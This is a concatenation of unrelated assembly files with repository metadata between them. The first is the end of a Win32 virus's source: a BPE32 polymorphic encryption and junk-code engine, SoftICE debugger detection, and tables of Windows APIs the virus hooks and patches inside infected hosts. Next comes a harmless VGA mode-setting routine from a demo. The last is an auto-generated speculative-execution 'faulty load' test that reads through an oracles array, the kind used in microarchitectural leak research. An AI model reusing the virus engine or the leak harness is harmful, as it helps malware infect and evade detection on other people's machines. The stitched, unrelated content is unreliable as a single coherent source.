g2: call greg5 call gg2 jmp g_end g3: call greg5 gg3: call greg6 jmp g_out g4: call greg6 call gg1 jmp g_end g5: call greg6 call greg5 g_out: call greg4 g_end: call greg7 mov al, 61h ;generate POPAD instruction stosb ; ... call rjunk ;junk instruction generator mov al, 0c3h ;RET instruction stosb ; ... pop eax ;calculate size of decryptor and encrypted data sub eax, edi ; ... neg eax ; ... mov [esp.Pushad_eax], eax ;store it to EAX register popad ;restore all regs ret ;and thats all folx get_reg proc ;this procedure generates random register push 8 ;random number (0-7) call random ; ... test eax, eax je get_reg ;MUST NOT be 0 (=EAX is used as junk register) cmp al, 100b ;MUST NOT be ESP je get_reg ret get_reg endp make_xor proc ;this procedure will generate instruction, that push 3 ;will nulify register (BL as parameter) call random test eax, eax je _sub_ cmp al, 1 je _mov_ mov al, 33h ;generate XOR reg, reg jmp _xor_ _sub_: mov al, 2bh ;generate SUB reg, reg _xor_: stosb mov al, 18h or al, bl rol al, 3 or al, bl stosb ret _mov_: cmp dl, 11 ;generate MOV reg, 0 je make_xor mov al, 0b8h add al, bl stosb xor eax, eax stosd ret make_xor endp gg1: call greg4 jmp greg5 gg2: call greg4 jmp greg6 random proc ;this procedure will generate random number ;in range from 0 to pushed_parameter-1 ;0 = do not truncate result push edx ;save EDX RDTCS ;RDTCS instruction - reads PCs tix and stores ;number of them into pair EDX:EAX xor edx, edx ;nulify EDX, we need only EAX cmp [esp+8], edx ;is parameter==0 ? je r_out ;yeah, do not truncate result div dword ptr [esp+8] ;divide it xchg eax, edx ;remainder as result r_out: pop edx ;restore EDX ret Pshd ;quit procedure and destroy pushed parameter random endp make_xor2 proc ;create XOR instruction mov al, 81h stosb mov al, 0f0h add al, bh stosb ret make_xor2 endp greg2 proc ;1 parameter = source/count value call get_reg ;get register cmp al, bl ;already used ? je greg2 cmp al, 5 je greg2 cmp al, bh je greg2 mov bh, al mov ecx, [esp+4] ;get parameter push 5 ;choose instructions call random test eax, eax je s_next0 cmp al, 1 je s_next1 cmp al, 2 je s_next2 cmp al, 3 je s_next3 mov al, 0b8h ;MOV reg, random_value add al, bh ;XOR reg, value stosb ;param = random_value xor value push 0 call random xor ecx, eax stosd call make_xor2 mov eax, ecx jmp n_end2 s_next0:mov al, 68h ;PUSH random_value stosb ;POP reg push 0 ;XOR reg, value call random ;result = random_value xor value xchg eax, ecx xor eax, ecx stosd mov al, 58h add al, bh stosb call make_xor2 xchg eax, ecx jmp n_end2 s_next1:mov al, 0b8h ;MOV EAX, random_value stosb ;MOV reg, EAX push 0 ;SUB reg, value call random ;result = random_value - value stosd push eax mov al, 8bh stosb mov al, 18h or al, bh rol al, 3 stosb mov al, 81h stosb mov al, 0e8h add al, bh stosb pop eax sub eax, ecx jmp n_end2 s_next2:push ebx ;XOR reg, reg mov bl, bh ;XOR reg, random_value call make_xor ;ADD reg, value pop ebx ;result = random_value + value call make_xor2 push 0 call random sub ecx, eax stosd push ecx call s_lbl pop eax jmp n_end2 s_lbl: mov al, 81h ;create ADD reg, ... instruction stosb mov al, 0c0h add al, bh stosb ret s_next3:push ebx ;XOR reg, reg mov bl, bh ;ADD reg, random_value call make_xor ;XOR reg, value pop ebx ;result = random_value xor value push 0 call random push eax xor eax, ecx xchg eax, ecx call s_lbl xchg eax, ecx stosd call make_xor2 pop eax n_end2: stosd push esi call rjunk pop esi ret Pshd greg2 endp greg3 proc call get_reg ;get register cmp al, 5 ;already used ? je greg3 cmp al, bl je greg3 cmp al, bh je greg3 cmp al, cl je greg3 mov ch, al mov edx, 0 ;get encryption key value xor_key = dword ptr $ - 4 push 3 call random test eax, eax je k_next1 cmp al, 1 je k_next2 push ebx ;XOR reg, reg mov bl, ch ;OR, ADD, XOR reg, value call make_xor pop ebx mov al, 81h stosb push 3 call random test eax, eax je k_nxt2 cmp al, 1 je k_nxt3 mov al, 0c0h k_nxt1: add al, ch stosb xchg eax, edx n_end1: stosd k_end: call rjunk ret k_nxt2: mov al, 0f0h jmp k_nxt1 k_nxt3: mov al, 0c8h jmp k_nxt1 k_next1:mov al, 0b8h ;MOV reg, value jmp k_nxt1 k_next2:mov al, 68h ;PUSH value stosb ;POP reg xchg eax, edx stosd mov al, ch add al, 58h jmp i_end1 greg3 endp greg4 proc mov edx, 0 ;get key increment value key_inc = dword ptr $ - 4 i_next: push 3 call random test eax, eax je i_next0 cmp al, 1 je i_next1 cmp al, 2 je i_next2 mov al, 90h ;XCHG EAX, reg add al, ch ;XOR reg, reg stosb ;OR reg, EAX push ebx ;ADD reg, value mov bl, ch call make_xor pop ebx mov al, 0bh stosb mov al, 18h add al, ch rol al, 3 stosb i_next0:mov al, 81h ;ADD reg, value stosb mov al, 0c0h add al, ch stosb xchg eax, edx jmp n_end1 i_next1:mov al, 0b8h ;MOV EAX, value stosb ;ADD reg, EAX xchg eax, edx stosd mov al, 3 stosb mov al, 18h or al, ch rol al, 3 i_end1: stosb i_end2: call rjunk ret i_next2:mov al, 8bh ;MOV EAX, reg stosb ;ADD EAX, value mov al, 0c0h ;XCHG EAX, reg add al, ch stosb mov al, 5 stosb xchg eax, edx stosd mov al, 90h add al, ch jmp i_end1 greg4 endp greg5 proc push ecx mov ch, bh push 4 pop edx push 2 call random test eax, eax jne ng5 call i_next ;same as previous, value=4 pop ecx jmp k_end ng5: mov al, 40h ;4x inc reg add al, ch pop ecx stosb stosb stosb jmp i_end1 greg5 endp greg6 proc push 5 call random test eax, eax je d_next0 cmp al, 1 je d_next1 cmp al, 2 je d_next2 mov al, 83h ;SUB reg, 1 stosb mov al, 0e8h add al, cl stosb mov al, 1 jmp i_end1 d_next0:mov al, 48h ;DEC reg add al, cl jmp i_end1 d_next1:mov al, 0b8h ;MOV EAX, random_value stosb ;SUB reg, EAX push 0 ;ADD reg, random_value-1 call random mov edx, eax stosd mov al, 2bh stosb mov al, 18h add al, cl rol al, 3 stosb mov al, 81h stosb mov al, 0c0h add al, cl stosb dec edx mov eax, edx jmp n_end1 d_next2:mov al, 90h ;XCHG EAX, reg add al, cl ;DEC EAX stosb ;XCHG EAX, reg mov al, 48h stosb mov al, 90h add al, cl jmp i_end1 greg6 endp greg7 proc mov edx, [esp+4] dec edx push 2 call random test eax, eax je l_next0 mov al, 51h ;PUSH ECX stosb ;MOV ECX, reg mov al, 8bh ;JECXZ label stosb ;POP ECX mov al, 0c8h ;JMP decrypt_loop add al, cl ;label: stosb ;POP ECX mov eax, 0eb5903e3h stosd sub edx, edi mov al, dl stosb mov al, 59h jmp l_next l_next0:push ebx ;XOR EAX, EAX xor bl, bl ;DEC EAX call make_xor ;ADD EAX, reg pop ebx ;JNS decrypt_loop mov al, 48h stosb mov al, 3 stosb mov al, 0c0h add al, cl stosb mov al, 79h stosb sub edx, edi mov al, dl l_next: stosb call rjunk ret Pshd greg7 endp rjunkjc:push 7 call random jmp rjn rjunk proc ;junk instruction generator push 8 call random ;0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call rjn: test eax, eax je j5 cmp al, 1 je j_1x2 cmp al, 2 je j_2x1 cmp al, 4 je j2 cmp al, 5 je j3 cmp al, 6 je r_end cmp al, 7 je jcj j1: call junx1 ;one byte junk instruction nop dec eax SALC inc eax clc cwde stc cld junx1: pop esi push 8 call random add esi, eax movsb ret j_1x2: call j1 ;one byte and two byte jmp j2 j_2x1: call j2 ;two byte and one byte jmp j1 j3: call junx3 db 0c1h, 0c0h ;rol eax, ... db 0c1h, 0e0h ;shl eax, ... db 0c1h, 0c8h ;ror eax, ... db 0c1h, 0e8h ;shr eax, ... db 0c1h, 0d0h ;rcl eax, ... db 0c1h, 0f8h ;sar eax, ... db 0c1h, 0d8h ;rcr eax, ... db 083h, 0c0h db 083h, 0c8h db 083h, 0d0h db 083h, 0d8h db 083h, 0e0h db 083h, 0e8h db 083h, 0f0h db 083h, 0f8h ;cmp eax, ... db 0f8h, 072h ;clc; jc ... db 0f9h, 073h ;stc; jnc ... junx3: pop esi ;three byte junk instruction push 17 call random imul eax, 2 add esi, eax movsb movsb r_ran: push 0 call random test al, al je r_ran stosb ret j2: call junx2 db 8bh ;mov eax, ... db 03h ;add eax, ... db 13h ;adc eax, ... db 2bh ;sub eax, ... db 1bh ;sbb eax, ... db 0bh ;or eax, ... db 33h ;xor eax, ... db 23h ;and eax, ... db 33h ;test eax, ... junx2: pop esi ;two byte junk instruction push 9 call random add esi, eax movsb push 8 call random add al, 11000000b stosb r_end: ret j5: call junx5 db 0b8h ;mov eax, ... db 05h ;add eax, ... db 15h ;adc eax, ... db 2dh ;sub eax, ... db 1dh ;sbb eax, ... db 0dh ;or eax, ... db 35h ;xor eax, ... db 25h ;and eax, ... db 0a9h ;test eax, ... db 3dh ;cmp eax, ... junx5: pop esi ;five byte junk instruction push 10 call random add esi, eax movsb push 0 call random stosd ret jcj: call rjunkjc ;junk push edx ;CALL label1 push ebx ;junk push ecx ;JMP label2 mov al, 0e8h ;junk stosb ;label1: junk push edi ;RET stosd ;junk push edi ;label2: call rjunkjc ;junk mov al, 0e9h stosb mov ecx, edi stosd mov ebx, edi call rjunkjc pop eax sub eax, edi neg eax mov edx, edi pop edi stosd mov edi, edx call rjunkjc mov al, 0c3h stosb call rjunkjc sub ebx, edi neg ebx xchg eax, ebx push edi mov edi, ecx stosd pop edi call rjunkjc pop ecx pop ebx pop edx ret rjunk endp BPE32 EndP ;BPE32 ends here szK32 db 'KERNEL32.dll',0 ;name of DLL sice95 db '\\.\SICE',0 ;SoftICE/95/98 siceNT db '\\.\NTICE',0 ;SoftICE/NT ;APIs needed at run-time crcAPIs dd 0AE17EBEFh ;FindFirstFileA dd 0AA700106h ;FindNextFileA dd 0C200BE21h ;FindClose dd 03C19E536h ;SetFileAttributesA dd 04B2A3E7Dh ;SetFileTime dd 08C892DDFh ;CreateFileA dd 096B2D96Ch ;CreateFileMappingA dd 0797B49ECh ;MapViewOfFile dd 094524B42h ;UnmapViewOfFile dd 019F33607h ;CreateThread dd 0D4540229h ;WaitForSingleObject dd 068624A9Dh ;CloseHandle dd 020B943E7h ;CreateMutexA dd 0C449CF4Eh ;ReleaseMutex dd 0C6F22166h ;OpenMutexA dd 00AC136BAh ;Sleep dd 079C3D4BBh ;VirtualProtect dd 0EB1CE85Ch ;GetCurrentProcessId dd 033D350C4h ;OpenProcess dd 041A050AFh ;TerminateProcess dd 04134D1ADh ;LoadLibraryA dd 0FFC97C1Fh ;GetProcAddress dd 0AFDF191Fh ;FreeLibrary ;APIs to hook crchAPIs dd 0AE17EBEFh ;FindFirstFileA dd 0AA700106h ;FindNextFileA dd 05BD05DB1h ;CopyFileA dd 0953F2B64h ;CopyFileExA dd 08C892DDFh ;CreateFileA dd 0267E0B05h ;CreateProcessA dd 0DE256FDEh ;DeleteFileA dd 0C633D3DEh ;GetFileAttributesA dd 08F48B20Dh ;GetFullPathNameA dd 0F2F886E3h ;_lopen dd 02308923Fh ;MoveFileA dd 03BE43958h ;MoveFileExA dd 068D8FC46h ;OpenFile dd 03C19E536h ;SetFileAttributesA dd 028452C4Fh ;WinExec dd 040F57181h ;ExitProcess dd 0058F9201h ;ExitThread dd 087D52C94h ;GetLastError dd 068624A9Dh ;CloseHandle ;APIs to patch crcpAPIs dd 0E141042Ah ;GetProcessHeap dd 042F13D06h ;GetVersion dd 0DE5C074Ch ;GetVersionEx dd 052CA6A8Dh ;GetStartupInfoA dd 04E52DF5Ah ;GetStartupInfoW dd 03921BF03h ;GetCommandLineA dd 025B90AD4h ;GetCommandLineW dd 003690E66h ;GetCurrentProcess dd 019F33607h ;CreateThread dd 082B618D4h ;GetModuleHandleA dd 09E2EAD03h ;GetModuleHandleW dd ? virus_end: ;end of virus in host tmp dd ? ;temporary variable org tmp ;overlay WFD WIN32_FIND_DATA ? ;Win32 Find Data WFD2 WIN32_FIND_DATA ? ;Win32 Find Data data_buffer db 256 dup (?) ;buffer for VLCB_TData size_unint = $ - virus_end ;size of unitialized ;variables ;used only by first generation of virus workspace1 db 16 dup (?) ;usd by compression workspace2 db 16 dup (?) ;engine _GetModuleHandleA dd offset GetModuleHandleA ends ;end of code section End first_gen ;end of virus
25.145197
87
0.666746
4b0969ee7341822da46305c2b16833bf2bfc7dee
4,742
asm
Assembly
source/jni/u2/main/vmode.asm
Falken42/SecondReality
b998d193a066523cb4ca2b86c8041bea1bddfcb4
[ "Unlicense" ]
9
2015-05-13T21:02:00.000Z
2018-04-15T16:32:27.000Z
source/jni/u2/main/vmode.asm
falken42/SecondReality
b998d193a066523cb4ca2b86c8041bea1bddfcb4
[ "Unlicense" ]
null
null
null
source/jni/u2/main/vmode.asm
falken42/SecondReality
b998d193a066523cb4ca2b86c8041bea1bddfcb4
[ "Unlicense" ]
null
null
null
ALIGN 16 mode0d db 256 dup(0) mode0e db 256 dup(0) mode13 db 256 dup(0) vid_oldint dd 0 vid_curmode dw -1 vid_intti PROC NEAR cmp ah,0fh je @@f cmp ah,0 je @@1 @@nn: jmp cs:vid_oldint @@f: cmp cs:vid_curmode,-1 je @@nn mov ax,cs:vid_curmode mov ah,40 mov bh,0 iret @@1: nop ; cmp al,13h ; je @@mode13 ; cmp al,13h+80h ; je @@mode13noclr ; cmp al,0dh ; je @@mode0d ; cmp al,0dh+80h ; je @@mode0dnoclr ; cmp al,0eh ; je @@mode0e cmp al,4 ja @@gn cmp cs:notextmode,0 je @@gn iret @@gn: mov cs:vid_curmode,-1 jmp cs:vid_oldint @@mode13: mov cs:vid_curmode,13h pusha push ds push es call clearpalette mov ax,cs mov ds,ax mov si,OFFSET mode13 call loadvmode call clearvram pop es pop ds popa iret @@mode13noclr: mov cs:vid_curmode,13h pusha push ds push es ;call clearpalette mov ax,cs mov ds,ax mov si,OFFSET mode13 call loadvmode pop es pop ds popa iret @@mode0d: mov cs:vid_curmode,0dh pusha push ds push es call clearpalette mov ax,cs mov ds,ax mov si,OFFSET mode0d call loadvmode call clearvram pop es pop ds popa iret @@mode0dnoclr: mov cs:vid_curmode,13h pusha push ds push es call clearpalette mov ax,cs mov ds,ax mov si,OFFSET mode0d call loadvmode pop es pop ds popa iret @@mode0e: mov cs:vid_curmode,0eh pusha push ds push es call clearpalette mov ax,cs mov ds,ax mov si,OFFSET mode0e call loadvmode call clearvram pop es pop ds popa iret vid_intti ENDP vmode_deinit PROC NEAR xor ax,ax mov ds,ax mov ax,word ptr cs:vid_oldint[0] mov bx,word ptr cs:vid_oldint[2] mov word ptr ds:[010h*4+0],ax mov word ptr ds:[010h*4+2],bx ret vmode_deinit ENDP vmode_init PROC NEAR pusha push ds push es push fs push gs IF 0 mov ax,0dh ;320x200x16 int 10h mov ax,cs mov ds,ax mov si,OFFSET mode0d call savevmode mov ax,13h ;320x200x256 int 10h mov ax,cs mov ds,ax mov si,OFFSET mode13 call savevmode mov ax,0eh ;640x350x16 int 10h mov ax,cs mov ds,ax mov si,OFFSET mode0e call savevmode mov ax,3 int 10h ENDIF xor ax,ax mov ds,ax mov ax,word ptr ds:[010h*4+0] mov bx,word ptr ds:[010h*4+2] mov word ptr cs:vid_oldint[0],ax mov word ptr cs:vid_oldint[2],bx mov word ptr ds:[010h*4+0],OFFSET vid_intti mov word ptr ds:[010h*4+2],cs pop gs pop fs pop es pop ds popa ret vmode_init ENDP VSAL MACRO mov ds:[si],al inc si ENDM ;vmode data to DS:SI savevmode PROC NEAR mov dx,3cch in al,dx VSAL ;Read Sequencer (3C4) mov dx,3c4h xor ah,ah mov cx,04h+1 @@r1: mov al,ah out dx,al inc dx in al,dx VSAL dec dx inc ah loop @@r1 ;Read CRTC (3D4) mov dx,3d4h xor ah,ah mov cx,18h+1 @@r2: mov al,ah out dx,al inc dx in al,dx VSAL dec dx inc ah LOOP @@r2 ;Read GFX controller (3CE) mov dx,3ceh xor ah,ah mov cx,08h+1 @@r3: mov al,ah out dx,al inc dx in al,dx VSAL dec dx inc ah loop @@r3 ;Read Attribute controller (3C0) xor ah,ah mov cx,14h+1 @@r4: mov dx,3dah in al,dx mov dx,3c0h mov al,ah out dx,al inc dx in al,dx VSAL dec dx out dx,al mov al,20h out dx,al inc ah loop @@r4 ret savevmode ENDP ;vmode data from DS:SI loadvmode PROC NEAR mov dx,3dah @@1: in al,dx test al,8 jnz @@1 @@2: in al,dx test al,8 jz @@2 ;Syncronous reset mov dx,3c4h mov ax,0200h out dx,ax ;Clear CRTC protection flag mov dx,3d4h mov al,011h out dx,al inc dx in al,dx and al,not 128 out dx,al ;Set misc register mov al,ds:[si] inc si mov dx,3c2h out dx,al ;Set Sequencer (3C4) mov dx,3c4h xor al,al mov cx,04h+1 @@w1: mov ah,ds:[si] inc si out dx,ax inc al loop @@w1 ;Set CRTC (3D4) mov dx,3d4h xor al,al mov cx,18h+1 @@w2: mov ah,ds:[si] inc si out dx,ax inc al loop @@w2 ;Set GFX controller (3CE) mov dx,3ceh xor al,al mov cx,08h+1 @@w3: mov ah,ds:[si] inc si out dx,ax inc al loop @@w3 ;Set Attribute controller (3C0) mov dx,3dah in al,dx mov dx,3c0h xor ah,ah mov cx,14h+1 @@w4: mov al,ah out dx,al mov al,ds:[si] out dx,al inc si inc ah loop @@w4 ;Enable display, enable PEL mask mov dx,3c0h mov al,20h out dx,al mov dx,3c6h mov al,0ffh out dx,al ret loadvmode ENDP clearvram PROC NEAR push es push di mov dx,3c4h mov ax,0f02h out dx,ax mov ax,0a000h mov es,ax xor di,di xor eax,eax mov cx,16384 rep stosd pop di pop es ret clearvram ENDP clearpalette PROC NEAR mov dx,3c8h xor al,al out dx,al inc dx mov cx,768 @@1: out dx,al loop @@1 ret clearpalette ENDP
13.947059
45
0.635175
ec50f8cce96884f7a0d088c434e38f3ecd37f48e
8,519
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_1089_518.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_1089_518.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_1089_518.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %r8 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x166bc, %r8 nop nop cmp $52234, %r14 and $0xffffffffffffffc0, %r8 vmovaps (%r8), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %rbx nop cmp %r14, %r14 lea addresses_UC_ht+0xebc, %r11 nop nop nop nop nop add %rcx, %rcx movb $0x61, (%r11) nop nop nop nop cmp %r14, %r14 lea addresses_UC_ht+0x89bc, %rsi lea addresses_normal_ht+0x57bc, %rdi nop nop nop nop and $39095, %rdx mov $66, %rcx rep movsb nop nop nop nop nop sub %rsi, %rsi lea addresses_UC_ht+0x7fbc, %rcx nop nop xor $4154, %rdx mov $0x6162636465666768, %r14 movq %r14, %xmm1 movups %xmm1, (%rcx) dec %r11 lea addresses_WT_ht+0x197cc, %r14 clflush (%r14) nop nop nop nop add $765, %rbx movl $0x61626364, (%r14) nop nop nop xor %r14, %r14 lea addresses_D_ht+0x1a6bc, %r14 clflush (%r14) sub $43156, %rcx mov $0x6162636465666768, %rbx movq %rbx, %xmm7 movups %xmm7, (%r14) nop nop nop nop nop add %r8, %r8 lea addresses_D_ht+0x1b856, %rdx nop nop nop nop and %rdi, %rdi mov $0x6162636465666768, %rsi movq %rsi, (%rdx) nop nop and %r11, %r11 lea addresses_A_ht+0x103c, %rsi lea addresses_normal_ht+0x115ba, %rdi clflush (%rdi) nop xor $12629, %r11 mov $101, %rcx rep movsl nop nop and %rdi, %rdi lea addresses_A_ht+0x213c, %rsi lea addresses_WT_ht+0x943c, %rdi cmp $27552, %rdx mov $85, %rcx rep movsl nop nop nop nop dec %r8 lea addresses_WT_ht+0x4abc, %r8 cmp %rdi, %rdi movb $0x61, (%r8) nop nop nop sub %r11, %r11 lea addresses_WC_ht+0x53ba, %r11 nop nop nop nop nop sub $36968, %r14 movw $0x6162, (%r11) nop nop nop nop nop cmp $27018, %r11 lea addresses_WC_ht+0x636c, %rsi lea addresses_WT_ht+0x31c, %rdi nop nop nop and $45981, %r11 mov $57, %rcx rep movsw nop nop nop nop cmp $22026, %r14 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r15 push %r8 push %r9 push %rbx push %rdi // Store lea addresses_UC+0x1e43c, %r14 clflush (%r14) nop nop and $22702, %r8 mov $0x5152535455565758, %rdi movq %rdi, %xmm1 vmovups %ymm1, (%r14) cmp $50489, %r14 // Store lea addresses_RW+0xdefc, %rbx nop nop nop cmp $61517, %r9 movb $0x51, (%rbx) nop nop nop nop add %rdi, %rdi // Store lea addresses_D+0x192cc, %r8 nop cmp %r15, %r15 mov $0x5152535455565758, %rdi movq %rdi, %xmm6 vmovups %ymm6, (%r8) add %r15, %r15 // Store lea addresses_RW+0x6bc, %r14 nop nop sub %rdi, %rdi mov $0x5152535455565758, %r15 movq %r15, %xmm2 vmovups %ymm2, (%r14) nop cmp %r14, %r14 // Store lea addresses_PSE+0x6ebc, %rbx nop nop nop nop nop add $31374, %r15 mov $0x5152535455565758, %r8 movq %r8, (%rbx) nop nop nop nop nop sub %rdi, %rdi // Faulty Load lea addresses_RW+0x6bc, %rbx clflush (%rbx) nop nop nop nop nop xor %r12, %r12 movb (%rbx), %r15b lea oracles, %r8 and $0xff, %r15 shlq $12, %r15 mov (%r8,%r15,1), %r15 pop %rdi pop %rbx pop %r9 pop %r8 pop %r15 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}} {'58': 1089} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
30.754513
2,999
0.65618
fe721b21f591c0ace517338358754fbdc80f34c6
6,575
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0x84_notsx.log_4853_1479.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0x84_notsx.log_4853_1479.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0x84_notsx.log_4853_1479.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
